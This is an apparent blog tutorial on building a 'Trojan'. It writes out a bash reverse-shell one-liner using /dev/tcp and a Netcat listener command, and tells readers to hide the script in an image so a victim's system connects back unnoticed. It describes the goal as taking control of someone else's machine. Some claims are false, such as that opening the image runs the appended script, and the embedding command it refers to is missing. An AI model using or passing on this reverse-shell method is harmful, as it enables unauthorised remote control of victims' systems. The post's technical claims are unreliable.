How to build a Trojan in 2 lines of Code

Requirements

A macOS or Linux-based system
A network tool such as nc (Netcat) that enables communication between your system and another
Basic knowledge of using the command line

Step 1: The code

The Trojan we are going to create uses the bash -i command and a special feature of Linux and macOS that makes it possible to connect to a remote computer. The two lines of code that make up this Trojan look like this:

#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/4444 0>&1

How does the code work?

Line 1:** #!/bin/bash - This is the so-called shebang line. It tells the operating system that the script should be executed with the bash shell interpreter.
Line 2: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 - This is where the real “magic” happens. This command opens a TCP connection to 127.0.0.1 (your own IP address, which is used for local connections) on port 4444. The bash -i part starts an interactive bash shell, which then communicates with the remote computer via the TCP connection.

Step 2: Hiding the Trojan

To hide this Trojan in an image and disguise it so that it runs unnoticed when the image is opened, you can carry out the following steps:

Create the file payload.sh with the above code.
Hide the script within an image

This command inserts the bash script into an image by merging the binary data of the image and the script. The image itself remains a functional image, but the script is embedded in it.

Step 3: Establishing a connection (Netcat listener)

Now we need to set up the listener to listen for the Trojan's incoming connection. Open another terminal and start the Netcat listener:

nc -lv 4444

This command tells Netcat to listen on port 4444 for connections. When the Trojan is executed, it will try to connect to your listener.

Step 4: Execute Trojan

To run the Trojan, simply open the image trojan.jpg. There will be no visible change, but the script will be executed in the background and a connection to your listener on port 4444 will be established. Now you can send commands to the target system via the Netcat listener.

What happens in the background?

The Trojan opens a connection to your listener and gives you access to the victim's system
This works because many Unix-based systems (including macOS and Linux) allow shell commands to be executed via special devices such as /dev/tcp/

As soon as the Trojan is activated, you can communicate with the victim computer via the Netcat connection and execute commands. For example, you can:

Read or write files.
Change system settings.
Take over and control the system.

Conclusion

With just two lines of code and a little creativity, you can build a simple Trojan that allows you to take control of someone else's system. This shows how powerful simple tools like Bash and Netcat are. But remember: Hacking systems without permission is illegal and punishable by law. Use this knowledge for educational purposes only and make sure you always respect the legal boundaries.

Stay safe and responsible!